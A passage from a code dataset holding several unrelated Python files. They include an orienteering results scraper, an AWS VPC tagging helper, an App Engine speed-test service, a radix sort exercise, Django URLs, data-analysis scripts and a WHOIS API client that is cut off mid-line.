else:\n if age >= 100:\n print(\"senior years eh\")\n age5 = round_to_five(age)\n for year in range(now.year - (age5 + 4), now.year - (age5 - 1)):\n searchterms.append(str(year))\n\n return searchterms\n\ndef getEventResults(eventpage, venue, SearchInfo):\n #SET UP SOUP\n html = requests.get(eventpage).text\n from bs4 import BeautifulSoup\n soup = BeautifulSoup(html, 'html.parser')\n\n courseLinks = []\n resultsForEvent = {}\n\n event = soup.find(\"h2\", {\"id\": \"pagesubheading\"})\n print(\".\")\n\n courseLinks.append(eventpage)\n for x in soup.findAll(\"a\"):\n if x.has_attr(\"href\"):\n if 'course=' in x.get('href'):\n course = x.get('href')\n course = \"https://www.britishorienteering.org.uk/{}\".format(course)\n courseLinks.append(course)\n\n for url in courseLinks:\n getCourseResults(url, SearchInfo, resultsForEvent)\n\n\n #after all the results have been found\n competitors = 0\n for x in resultsForEvent:\n for y in resultsForEvent[x]:\n competitors += 1\n\n if competitors > 0:\n if venue != \"\":\n venue = \"at {}\".format(venue)\n print(\"\\n\", event.text, venue)\n for x in resultsForEvent:\n for y in resultsForEvent[x]:\n result = resultsForEvent[x][y]\n ordinal = lambda n: \"%d%s\" % (n,\"tsnrhtdd\"[(n/10%10!=1)*(n%10<4)*n%10::4]) #function for converting integer to ordinal e.g. 1 --> 1st, 2 --> 2nd\n #this checks if the position is indeed a number, as a mispunch is represented by a \"-\"\n try:\n int(result[\"pos\"])\n poss = int(result[\"pos\"])\n ordinalPos = ordinal(poss)\n except ValueError:\n ordinalPos = result[\"pos\"]\n\n if \"course\" in result[\"course\"]:\n #print(result[\"name\"], \"was\", ordinalPos, \"on\", result[\"course\"])\n print(\"{}, {} was {} on {}\".format(result[\"name\"], result[\"club\"], ordinalPos, result[\"course\"]))\n else:\n #print(result[\"name\"], \"was\", ordinalPos, \"on the\", result[\"course\"])\n print(\"{}, {} was {} on the {} course\".format(result[\"name\"], result[\"club\"], ordinalPos, result[\"course\"]))\n\ndef getCourseResults(url, searchInfo, resultsForEvent):\n coursepage = requests.get(url).text\n from bs4 import BeautifulSoup\n soup = BeautifulSoup(coursepage, 'html.parser')\n\n try:\n course = soup.find(\"strong\").text ###for some reason this is being stupid\n goahead = True\n except:\n goahead = False #some events have no linked results, hence no strong text\n\n\n if goahead == True:\n course = course.split(\"(\")[0].rstrip().lstrip().lower() #splits the string on the '(', takes the first item (which is the course name), and removes spaces from either side of the course name\n #print(\"course: {}\".format(course))\n resultsForEvent[course] = {}\n\n #FIND RESULTS\n number = 1\n for x in soup.tbody.findAll(\"tr\"):\n number = 1\n if SearchInfo.searchType == \"age\":\n query_check = checkAgeClass(x, SearchInfo.searchQuery)\n elif SearchInfo.searchType == \"club\":\n query_check = checkClub(x, SearchInfo.searchQuery)\n \n if query_check == True: \n for y in x.findAll(\"td\"):\n if number == 1:\n position = y.text\n resultsForEvent[course][position] = {}\n resultsForEvent[course][position][\"pos\"] = y.text\n resultsForEvent[course][position][\"course\"] = course\n elif number == 2:\n resultsForEvent[course][position][\"name\"] = y.text\n elif number == 3:\n resultsForEvent[course][position][\"club\"] = y.text\n elif number == 6:\n #resultsForEvent[course][position][\"time\"] = y.text\n pass\n else:\n pass\n number += 1\n\ndef checkClub(tr, searchClub):\n for field in tr.findAll(\"td\"):\n if field.text == searchClub:\n return True\n return False\n\ndef checkAgeClass(tr, searchyears):\n for field in tr.findAll(\"td\"):\n if str(field.text) in searchyears:\n return True\n return False\n\nclass Params():\n def __init__(self):\n self.associations = {\"BOF\": 14, \"BSOA\": 13, \"EAOA\": 1, \"EMOA\": 2, \"NEOA\": 3, \"NIOA\": 4, \"NWOA\": 5, \"SCOA\": 6, \"SEOA\": 7, \"SOA\": 8, \"SWOA\": 9, \"WMOA\": 10, \"WOA\": 11, \"YHOA\": 12}\n self.dateFrom = str(input(\"Set date from which to get results (dd/mm/yyyy)\\n\"))\n self.dateFrom = self.dateFrom.split(\"/\")\n if not len(self.dateFrom) == 3:\n self.dateFrom = [\"0\", \"0\", \"0\"]\n\n self.dateTo = str(input(\"Set end date to get results until (dd/mm/yyyy)\\nIf you don't want a specific end date, type 'now'\\n\"))\n self.dateTo = self.dateTo.split(\"/\")\n if not len(self.dateTo) == 3:\n self.dateTo = [\"0\", \"0\", \"0\"]\n\n self.level = input(\"What level events? Type '0' for all, '1' for Major, '2' for National, '3' for Regional or '-4' for all except local.\\n\")\n \n self.assoc = input(\"[opt] Specify region: BOF, BSOA, EAOA, EMOA, NEOA, NIOA, NWOA, SCOA, SEOA, SOA, SWOA, WMOA, WOA, YHOA, all.\\n\").upper()\n if self.assoc in self.associations:\n self.assoc_num = self.associations[self.assoc]\n else:\n self.assoc_num = 0\n\n self.host_club = input(\"[opt] Specify host club abbr. or 'any'\\n\").upper()\n if self.host_club in listofclubs:\n self.host_club_num = listofclubs[self.host_club]\n else:\n self.host_club_num = 0\n\n if str(input(\"Search by 'age' or 'club'?\\n\")) == \"age\":\n self.searchQuery = agetoyears()\n self.searchType = \"age\"\n else:\n self.searchQuery = str(input(\"Which club do you want to search for? (use abbr.)\\n\")).upper()\n self.searchType = \"club\"\n\n\n#GET SEARCH INFO\nSearchInfo = Params()\nwebsite = (\"https://www.britishorienteering.org.uk/index.php?page=0&evt_name=&evt_postcode=&evt_radius=0&evt_level={}&evt_type=0&event_club={}&evt_start_d={}&evt_start_m={}&evt_start_y={}&evt_end_d={}&evt_end_m={}&evt_end_y={}&evt_assoc={}&evt_start=1577836800&evt_end=1585907978&perpage=100&bSearch=1&pg=results\".format(SearchInfo.level, SearchInfo.host_club_num, SearchInfo.dateFrom[0], SearchInfo.dateFrom[1], SearchInfo.dateFrom[2], SearchInfo.dateTo[0], SearchInfo.dateTo[1], SearchInfo.dateTo[2], SearchInfo.assoc_num))\nprint(\"Searching all current {} level {} results hosted by {} from {}/{}/{} to {}/{}/{} in the {} region.\".format(SearchInfo.searchQuery, SearchInfo.level, SearchInfo.host_club, SearchInfo.dateFrom[0], SearchInfo.dateFrom[1], SearchInfo.dateFrom[2], SearchInfo.dateTo[0], SearchInfo.dateTo[1], SearchInfo.dateTo[2], SearchInfo.assoc))\n\n#SET UP SOUP\nhtml = requests.get(website).text\nfrom bs4 import BeautifulSoup\nsoup = BeautifulSoup(html, 'html.parser')\nimport re\nhyperlinks = []\neventDict = {}\nkeyno = 1\n\n#EXTRACT EVENT LINKS\neventTable = soup.table\nfor row in eventTable.tbody.findAll(\"tr\"):\n number = 1\n minidict = {}\n for y in row.findAll(\"td\"):\n if number == 1:\n minidict[\"date\"] = y.text\n elif number == 5:\n minidict[\"eventName\"] = y.text\n elif number == 6:\n minidict[\"venue\"] = y.text\n elif number == 7:\n try:\n minidict[\"url\"] = y.a.get('href')\n except:\n pass\n number += 1\n eventDict[keyno] = minidict\n keyno += 1\n\nfor x in eventDict:\n if \"url\" in eventDict[x]:\n eventpage = (\"https://www.britishorienteering.org.uk{}\".format(eventDict[x][\"url\"]))\n eventvenue = eventDict[x][\"venue\"]\n getEventResults(eventpage, eventvenue, SearchInfo)\n\nif len(eventDict) == 100:\n print(\"Reached event limit - 100 events scraped\")\nelse:\n print(\"Finished - {} events scraped\".format(len(eventDict)))","sub_path":"mainScraper.py","file_name":"mainScraper.py","file_ext":"py","file_size_in_byte":11030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"479135818","text":"def update_vpc_tags(connection, module, vpc_id, tags, name):\n if (tags is None):\n tags = dict()\n tags.update({\n 'Name': name,\n })\n tags = dict(((k, to_native(v)) for (k, v) in tags.items()))\n try:\n current_tags = dict(((t['Key'], t['Value']) for t in connection.describe_tags(Filters=[{\n 'Name': 'resource-id',\n 'Values': [vpc_id],\n }])['Tags']))\n (tags_to_update, dummy) = compare_aws_tags(current_tags, tags, False)\n if tags_to_update:\n if (not module.check_mode):\n tags = ansible_dict_to_boto3_tag_list(tags_to_update)\n vpc_obj = AWSRetry.backoff(delay=1, tries=5, catch_extra_error_codes=['InvalidVpcID.NotFound'])(connection.create_tags)(Resources=[vpc_id], Tags=tags)\n expected_tags = boto3_tag_list_to_ansible_dict(tags)\n filters = [{\n 'Name': 'tag:{0}'.format(key),\n 'Values': [value],\n } for (key, value) in expected_tags.items()]\n connection.get_waiter('vpc_available').wait(VpcIds=[vpc_id], Filters=filters)\n return True\n else:\n return False\n except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:\n module.fail_json_aws(e, msg='Failed to update tags')","sub_path":"Data Set/bug-fixing-5/ae49f4fd3521e931b3d45e980a485eee5e138cc2--fix.py","file_name":"ae49f4fd3521e931b3d45e980a485eee5e138cc2--fix.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"399528131","text":"#!/usr/bin/env python\n#\n# Copyright 2007 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport webapp2\nimport jinja2\nfrom google.appengine.ext import ndb\nimport json\nimport datetime\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader([\"templates\"]),\n extensions=['jinja2.ext.autoescape'],\n autoescape=True)\n\nclass Result(ndb.Model):\n location = ndb.GeoPtProperty(required=True)\n mbps_upload = ndb.FloatProperty(required=True)\n mbps_download = ndb.FloatProperty(required=True)\n friendly_location = ndb.StringProperty()\n isp = ndb.StringProperty()\n\"\"\"\n Handels adding the location and speed to the datastore. Should\n be sent in this format\n\n {'location' : {'longitude' : 0, 'latitude' : 0}, 'time' : 12:00, 'upload': 34.4, 'download' : 76, 'isp' : \"Rogers\"}\n\"\"\"\nclass SubmitHandler(webapp2.RequestHandler):\n def post(self):\n longitude = float(self.request.get('longitude'))\n latitude = float(self.request.get('latitude'))\n upload = float(self.request.get('upload'))\n download = float(self. request.get('download'))\n isp = self.request.get('isp')\n friendly_location = self.request.get('friendly_location')\n\n entity = Result(location =ndb.GeoPt(latitude, longitude), mbps_upload=upload, mbps_download=download, isp=isp, friendly_location=friendly_location)\n entity.put()\n\n results = Result.query().fetch()\n resultList = []\n for obj in results:\n resultList.append({'longitude': obj.location.lon,\n 'latitude': obj.location.lat,\n 'upload': obj.mbps_upload,\n 'download': obj.mbps_download,\n 'friendly_location': obj.friendly_location,\n 'isp': obj.isp})\n theJson = json.dumps(resultList)\n self.response.write(theJson)\n\n\"\"\"\n return results back to the client in JSON format.\n\"\"\"\nclass ReturnHandler(webapp2.RequestHandler):\n def get(self):\n results = Result.query().fetch()\n resultList = []\n for obj in results:\n resultList.append({'longitude': obj.location.lon,\n 'latitude': obj.location.lat,\n 'upload': obj.mbps_upload,\n 'download': obj.mbps_download,\n 'friendly_location': obj.friendly_location,\n 'isp': obj.isp})\n theJson = json.dumps(resultList)\n self.response.write(theJson)\nclass MainHandler(webapp2.RequestHandler):\n def get(self):\n template = JINJA_ENVIRONMENT.get_template(\"index.html\")\n self.response.write((template.render({})))\n\napp = webapp2.WSGIApplication([\n ('/', MainHandler), ('/submit', SubmitHandler), ('/request', ReturnHandler)\n], debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"563505173","text":"import traceback\n\ndef RadixSort(M):\n M2=[]\n N=[]\n yy=CountingYear(M,M2,8)\n V=CountingHouse(yy,N,4)\n return V\n\ndef CountingYear(Y,Z,k):\n C=[0]*(k+1)\n for j in range(len(Y)):\n x=Y[j].year\n C[x]=C[x]+1\n for n in range(1,k+1):\n C[n]=C[n]+C[n-1]\n Z=[0]*len(Y)\n for m in range(len(Y)-1,-1,-1):\n key=Y[m].year\n index=C[key]-1\n Z[index]=Y[m] #!!!!!!\n C[key]=C[key]-1\n return Z\n\ndef CountingHouse(U,V,k):\n dic={'Eagletalon':0, 'Lannister':1, 'Pufflehuff':2, 'SNAKES':3}\n C=[0]*(k+1)\n for j in range(len(U)):\n x=dic[U[j].house]\n C[x]=C[x]+1\n for n in range(1,k+1):\n C[n]=C[n]+C[n-1]\n V=[0]*len(U)\n for m in range(len(U)-1,-1,-1):\n key=dic[U[m].house]\n index=C[key]-1\n V[index]=U[m]\n C[key]=C[key]-1 \n return V\n\ndef SortStudents(A):\n \n V=RadixSort(A)\n return V\n\n\n#Student class\n#Each task has three instance variables:\n# self.name is a string representing the name of the student\n# self.house is a string representing which house the student is in\n# self.year is an integer representing what year the student is\nclass Student:\n def __init__(self,csvstring):\n csvdata = csvstring.split(\",\")\n self.name = csvdata[0]\n self.house = csvdata[1]\n self.year = int(csvdata[2])\n def __repr__(self):\n return \"\\n{:25}: {:12} {}\".format(self.name,self.house,self.year)\n def __eq__(self,other):\n return type(self) == type(other) and \\\n self.name == other.name and \\\n self.house == other.house and \\\n self.year == other.year\n\n \n\n\n\n#Takes a string filename as an argument, and constructs a list\n# of Students from the information in the CSV file at filename\ndef getStudentList(filename):\n fp = open(filename)\n fp.readline()\n studentList = []\n for line in fp:\n studentList.append(Student(line))\n return studentList\n\n\ntests = ['roster1.csv','roster2.csv','roster3.csv','roster4.csv',\n 'roster5.csv','roster6.csv']\ncorrect = ['roster1sorted.csv','roster2sorted.csv',\n 'roster3sorted.csv','roster4sorted.csv',\n 'roster5sorted.csv','roster6sorted.csv']\n\n\n#Run test cases, check whether sorted list correct\ncount = 0\n\ntry:\n for i in range(len(tests)):\n print(\"\\n---------------------------------------\\n\")\n print(\"TEST #\",i+1)\n print(\"Reading student data from:\",tests[i])\n roster = getStudentList(tests[i])\n print(\"Reading sorted student data from\",correct[i])\n rosterSorted = getStudentList(correct[i])\n print(\"Running: SortStudents() on data list\\n\")\n output = SortStudents(roster)\n print(\"Expected:\",rosterSorted,\"\\n\\nGot:\",output)\n assert len(output) == len(rosterSorted), \"Output list length \"\\\n +str(len(output))+\\\n \", but should be \"+str(len(rosterSorted))\n for j in range(len(output)):\n assert output[j] == rosterSorted[j],\"Student #\"\\\n +str(j+1)+\" incorrect: \"+\\\n str(output[j])+\" \\nshould be \"+str(rosterSorted[j])\n print(\"Test Passed!\\n\")\n count += 1\nexcept AssertionError as e:\n print(\"\\nFAIL: \",e)\n\nexcept Exception:\n print(\"\\nFAIL: \",traceback.format_exc())\n\n#Check for less than or greater than signs anywhere in the file\ncursed = False\nwith open(__file__) as f:\n source = f.read()\n for ch in source:\n if ord(ch) == 60:\n print(\"Less than sign detected: Curse activated!\")\n count = 0\n cursed = True\n if ord(ch) == 62:\n print(\"Greater than sign detected: Curse activated!\")\n count = 0\n cursed = True\n\nprint()\nif cursed:\n print(\"You are now a newt. Don't worry, you'll get better.\")\nprint(count,\"out of\",len(tests),\"tests passed.\")\n\n\n","sub_path":"Radix sort.py","file_name":"Radix sort.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"522570512","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/9/4\n# @Author : hay\nfrom django.conf.urls import url\nfrom . import views\nfrom emails.view import emailtools, emailfilter, emailfilterjob, emailscript\napp_name = 'email'\n\nurlpatterns = [\n url(r'^email_filtra_list$', views.FilterRulesDetail.as_view(), name='email_filtra_list'),\n url(r'^filtra_import_index$', views.filtra_import_index, name='filtra_import_index'),\n url(r'^filtra_import$', views.filtra_import_view, name='filtra_import'),\n url(r'^filtra_import_form$', views.filtra_import_form, name='filtra_import_form'),\n url(r'^filtra_import_dow$', views.filtra_import_dow, name='filtra_import_dow'),\n url(r'^filtra_import_update$', views.filtra_import_update, name='filtra_import_update'),\n url(r'^lists$', views.emails_view, name='lists'),\n url(r'^marketlists$', views.emails_view, name='marketlists'),\n url(r'^liststabels$', views.emails_table, name='liststabels'),\n url(r'^exploademails$', views.exportemail_view, name='exploademails'),\n url(r'^exploadcb$', views.exportemailscb, name='exploadcb'),\n url(r'^email_details$', views.email_details, name='email_details'),\n url(r'^email_details_lists$', views.email_details_lists, name='email_details_lists'),\n url(r'^email_details_lists_table$', views.email_details_lists_table, name='email_details_lists_table'),\n url(r'^email$', views.email_details_lists, name='email_details_lists'),\n url(r'^email_explod$', views.email_explod, name='email_explod'),\n url(r'^email_explod_api$', views.EmailExplodApi.as_view(), name='email_explod_api'),\n url(r'^email_jobs$', views.EmailJobs.as_view(), name='email_jobs'),\n url(r'^email_explod_dow$', views.email_explod_dow, name='email_explod_dow'),\n url(r'^email_radio_index$', views.EmailRadioView.as_view(), name='email_radio_index'),\n url(r'^email_summariz$', views.EmailSummariz.as_view(), name='email_summariz'),\n url(r'^email_group$', views.EmailGroup.as_view(), name='email_group'),\n url(r'^email_excludes$', views.EmailExcludes.as_view(), name='email_excludes'),\n url(r'^email-tools$', emailtools.EmailTools.as_view(), name='email-tools'),\n url(r'^email-filter$', emailfilter.EmailFilter.as_view(), name='email-filter'),\n url(r'^email-filter-job$', emailfilterjob.EmailFilterJob.as_view(), name='email-filter-job'),\n url(r'^email-script$', emailscript.EmailScriptView.as_view(), name='email-script'),\n url(r'^email-exist', emailscript.EmailAlreadyExportView.as_view(), name='email-exist'),\n]","sub_path":"emails/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"582134671","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 22 20:50:10 2016\n\n@author: Andy\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pytz\nfrom datetime import datetime, timedelta\nfrom pytz import timezone\n\n#Load events\nevents = pd.read_csv(\"D:\\Projects\\Kaggle\\Brain\\events.csv\", index_col=0)\n\n#Change datatype to save some memory\nevents.document_id = events.document_id.astype(np.int32)\n\n#Import training clicks data and merge with events\ntrain = pd.merge(pd.read_csv(\"D:\\Projects\\Kaggle\\Brain\\clicks_train.csv\", dtype=np.int32, index_col=0),\n events, left_index=True, right_index=True)\n\n#Now that we have merged we can get rid of events to save on some memory\ndel events\n\n#Lets check out the hour and the day people be doing things\ntrain[\"hour\"] = (train.timestamp // (3600 * 1000)) % 24\ntrain[\"day\"] = train.timestamp // (3600 * 24 * 1000) % 7\n\nplt.figure(figsize=(12,4))\ntrain.hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"train\", alpha=0.7, normed=True)\nplt.xlim(-0.5, 23.5)\nplt.legend(loc=\"best\")\nplt.xlabel(\"Hour of Day\")\nplt.ylabel(\"Fraction of Events\")\n\n#Lets see if we can take the look at what time people check things in different time zones\ncanada = train.loc[train['geo_location'].str[:2].isin(['CA'])]\nprovinces = canada.geo_location.str[3:].unique()\n\nplt.figure(figsize=(12,4))\ncanada.hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Non-corrected\", alpha=0.7, normed=True)\nplt.xlim(-0.5, 23.5)\nplt.legend(loc=\"best\")\nplt.xlabel(\"Hour of Day\")\nplt.ylabel(\"Fraction of Events\")\n\n#Create column of provinces\ncanada[\"province\"] = canada.geo_location.str[3:5]\n#Get rid of geo_location because we have extracted all the relevant info\ncanada = canada.drop('geo_location',1)\n\n#Dict that contains info on how many hours we have to offset UTC to compare behavior at local time\ntimezone_correction = {'BC': -8, 'AB': -7, 'SK': -6, 'MB':-6, 'ON': -5, 'QC':-5, 'NS': -4, 'NB':-4, 'PE':-4, 'YT':-8, 'NL':-4, 'NT':-7, 'NU':-5}\n\n#Create column with corrected time, this can probably be changed to single line, but I don't know how\ncanada['timed'] = canada['province'].map(timezone_correction)\n\n#Correct hour\ncanada['hour'] = (canada['hour'] + canada['timed']) % 24\n\n#Drop column that I used to calculate corrected hour\ncanada = canada.drop('timed',1)\n\n#lets take a look at what we got\nplt.figure(figsize=(12,4))\ncanada.hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Time-zone corrected\", alpha=0.7, normed=True)\nplt.xlim(-0.5, 23.5)\nplt.legend(loc=\"best\")\nplt.xlabel(\"Hour of Day\")\nplt.ylabel(\"Fraction of Events\")\n\n#Take a look at platform use by hour\nplt.figure(figsize=(12,4))\ncanada.loc[canada.platform == 1].hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Desktop\", alpha=0.7, normed=True)\ncanada.loc[canada.platform == 2].hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Mobile\", alpha=0.5, normed=True)\ncanada.loc[canada.platform == 3].hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Tablet\", alpha=0.4, normed=True)\nplt.xlim(-0.5, 23.5)\nplt.legend(loc=\"best\")\nplt.xlabel(\"Hour of Day\")\nplt.ylabel(\"Fraction of Events\")\n\n#Last plot included every part of event, thus we should remove duplicates from display_id so we only count every unique event\ncanada['display_id'] = canada.index\ncanada = canada.drop_duplicates(['display_id'])\ncanada = canada.drop('display_id', 1)\n\n#Take a look at platform use by hour, but now only for unique events, and absolute numbers as opposed to fractions\ncanada.loc[canada.platform == 1].hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Desktop\", alpha=0.7, normed=False)\ncanada.loc[canada.platform == 2].hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Mobile\", alpha=0.5, normed=False)\ncanada.loc[canada.platform == 3].hour.hist(bins=np.linspace(-0.5, 23.5, 25), label=\"Tablet\", alpha=0.4, normed=False)\nplt.xlim(-0.5, 23.5)\nplt.legend(loc=\"best\")\nplt.xlabel(\"Hour of Day\")\nplt.ylabel(\"Absolute number of events\")\n\n#How do days of the week look?\nplt.figure(figsize=(12,4))\ncanada.day.hist(bins=np.linspace(-0.5, 6.5, 7), label=\"Days of the week\", alpha=0.7, normed=True)\nplt.xlim(-0.5, 6.5)\nplt.legend(loc=\"best\")\nplt.xlabel(\"Day of the week\")\nplt.ylabel(\"Fraction of Events\")\n\n#Take a look at platform use by day, but now only for unique events, and absolute numbers as opposed to fractions\ncanada.loc[canada.platform == 1].day.hist(bins=np.linspace(-0.5, 6.5, 7), label=\"Desktop\", alpha=0.7, normed=True)\ncanada.loc[canada.platform == 2].day.hist(bins=np.linspace(-0.5, 6.5, 7), label=\"Mobile\", alpha=0.5, normed=True)\ncanada.loc[canada.platform == 3].day.hist(bins=np.linspace(-0.5, 6.5, 7), label=\"Tablet\", alpha=0.4, normed=True)\nplt.xlim(-0.5, 6.5)\nplt.legend(loc=\"best\")\nplt.xlabel(\"Day of the week\")\nplt.ylabel(\"Fraction of events\")","sub_path":"kaggle_time.py","file_name":"kaggle_time.py","file_ext":"py","file_size_in_byte":4769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"190601959","text":"import numpy\nimport math\nimport matplotlib.pyplot as plt\n\n#FUNCTIONS#\n\ndef prey_rate(u, v):\n\treturn u*(1-v)\n\ndef pred_rate(a, u, v):\n\treturn -a*v*(1-u)\n\ndef u_v_gen(u0,v0,a):\n\td1 = []\n\td2 = []\n\td3 = []\n\tu = u0\n\tv = v0\n\tfor t in range(0, 10000):\n\t\tdt = 0.01\n\t\td1.append(u)\n\t\td2.append(v)\n\t\td3.append(t*dt)\n\t\teulu = u + prey_rate(u,v)*dt\n\t\teulv = v + pred_rate(a, u, v)*dt\n\t\tu = u + ((prey_rate(u, v) + prey_rate(eulu, eulv))/2)*dt\n\t\tv = v + ((pred_rate(a, u, v) + pred_rate(a, eulu, eulv))/2)*dt\n\treturn d1, d2, d3\n\n#MAIN#\n\nu0 = 0.1\nv0 = 0.8\n\nu, v, t = u_v_gen(u0, v0, 1.2)\n\nplt.title('Plot of u and v vs Tau for u0 = ' +str(u0)+ ', v0 = ' +str(v0))\nplt.xlabel('Tau ---->')\nplt.ylabel('u (black), v (red) ---->')\nplt.plot(t, u, 'black', t, v, 'red')\nplt.savefig('u-'+str(u0)+'-v-'+str(v0)+'-t.png')","sub_path":"UG-Programme/Semester-5/CH242: Special Topics in Theoretical Biology/Assignments/1/lotka-voterra.py","file_name":"lotka-voterra.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"160424111","text":"# Takes a manually-typed .txt denoting degree requirements (like reqs_geophysics0.txt) and \n# reformats it as a json file\n\nimport sys\nimport re\n\npattern_conjunction = r'\\t*([A-Z][a-z]+)\\['\npattern_course = r'\\t*([A-Z]+\\s\\d+[A-Z]?)'\npattern_endbracket = r'\\t*(\\])'\n\nn = 0\nprev_line = ''\nwas_conjunction = False\nwithin_takes = False\n\nfor line in sys.stdin:\n\n\t# Print previous iteration's line\n\tprint(prev_line, end='')\n\n\t# Append a comma to prev. line only if new line is not an end-bracket and prev. line was not a conjunction\n\tis_endbracket = (line.strip() == ']')\n\tif n>0 and not is_endbracket and not was_conjunction:\n\t\tprint(',')\n\telse:\n\t\tprint()\n\n\t# Reset momentary bool\n\twas_conjunction = False\n\n\t# Attempt to match all patterns\n\tm_conjunction = re.match(pattern_conjunction, line)\n\tm_course = re.match(pattern_course, line)\n\tm_endbracket = re.match(pattern_endbracket, line)\n\n\t# Make substitutions where possible\n\tif m_conjunction is not None:\n\t\tprev_line = re.sub(m_conjunction.group(1), '{ \\\"' + m_conjunction.group(1) + '\\\": ', line.rstrip())\n\t\twas_conjunction = True\n\n\telif m_course is not None:\n\t\tprev_line = re.sub(m_course.group(1), '{ \"Takes\": \"' + m_course.group(1) + '\\\"', line.rstrip()) + '}'\n\n\telif m_endbracket is not None:\n\t\tprev_line = re.sub(m_endbracket.group(1), m_endbracket.group(1) + '}', line.rstrip())\n\n\telse:\n\t\tquit('ERROR: Line does not match any regex')\n\n\tn = n+1\n\nprint(prev_line)\n\n","sub_path":"python_scripts/format_reqs_json.py","file_name":"format_reqs_json.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"397369635","text":"from LoginRadiusSDK import LoginRadius\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\nfrom django.http import HttpResponse\nfrom django.db.models import get_model\n\nlr_sociallogin = get_model('django_loginradius', 'LR_sociallogin')\n\nclass LoginRadiusAuthBackend(object):\n def authenticate(self, token):\n \"\"\"\n Authenticate existing or new user.\n \"\"\"\n login = LoginRadius(settings.LOGINRADIUS_API_SECRET,token)\n Access_Token = login.loginradius_get_accesstoken()\n if 'access_token' in Access_Token:\n accessToken = Access_Token['access_token']\n #Let us try getting the user's profile information\n profile = login.loginradius_get_userprofile(accessToken)\n if profile['Email'] is not None:\n for item in profile['Email']:\n profile['email'] = item[\"Value\"]\n else:\n value = str ( profile['ID'] )\n value = str.replace(value, 'http://', '')\n value = str.replace(value, 'https://', '')\n value = str (value[:7])\n profile['email'] = value + '@' + profile['Provider'] + '.com'\n\n u, created = lr_sociallogin.objects.get_or_create(email=profile['email'], provider_id=profile['ID'], provider=profile['Provider'])\n if created:\n try:\n \"\"\"\n Check email address is exist and get user profile if exist.\n \"\"\"\n user = User.objects.get(email=u.email)\n except User.DoesNotExist:\n \"\"\"\n New user.\n \"\"\"\n user = u.create_lr_user(profile)\n\n else:\n try:\n user = User.objects.get(email = profile['email'])\n except User.DoesNotExist:\n \"\"\"\n New User\n \"\"\"\n user = u.create_lr_user(profile)\n return user\n \n elif 'errorCode' in Access_Token:\n \"\"\"\n Request Token has been Expired.\n \"\"\"\n raise ValueError(Access_Token['description'])\n \n\n \n def get_user(self, user_id):\n \"\"\"\n Retrieve user by user ID\n :param user_id: User ID\n \"\"\"\n try:\n return User.objects.get(pk=user_id)\n except User.DoesNotExist:\n return None\n","sub_path":"django_loginradius/loginradius_auth.py","file_name":"loginradius_auth.py","file_ext":"py","file_size_in_byte":2500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"45425944","text":"try:\n # For Python v.3 and later\n from urllib.request import urlopen\n from urllib.parse import quote\nexcept ImportError:\n # For Python v.2\n from urllib2 import urlopen\n from urllib2 import quote\nimport json\nimport base64\nimport hmac\nimport hashlib\nimport time\nusername = 'username'\napiKey = 'api_key'\nsecret = 'secret_key'\ndomains = [\n 'google.com',\n 'example.com',\n 'whoisxmlapi.com',\n 'twitter.com'\n]\nurl = 'https://whoisxmlapi.com/whoisserver/WhoisService?'\ntimestamp = 0\ndigest = 0\n\ndef generateDigest(username, timestamp, apikey, secret):\n digest = username + str(timestamp) + apikey\n hash = hmac.new(bytearray(secret.encode('utf-8')), bytearray(digest.encode('utf-8')), hashlib.md5)\n return quote(str(hash.hexdigest()))\n\ndef generateParameters(username, apikey, secret):\n timestamp = int(round(time.time() * 1000))\n digest = generateDigest(username, timestamp, apikey, secret)\n return timestamp, digest\n\ndef buildRequest(username, timestamp, digest, domain):\n requestString = \"requestObject=\"\n data = {'u': username, 't': timestamp}\n dataJson = json.dumps(data)\n dataBase64 = base64.b64encode(bytearray(dataJson.encode('utf-8')))\n requestString += dataBase64.decode('utf-8')\n requestString += '&cmd=GET_DN_AVAILABILITY'\n requestString += \"&digest=\"\n requestString += digest\n requestString += \"&domainName=\"\n requestString += domain\n requestString += \"&outputFormat=json\"\n return requestString\n\ndef printResponse(response):\n responseJson = json.loads(response)\n if 'DomainInfo' in responseJson:\n if 'domainName' in responseJson['DomainInfo']:\n print(\"Domain 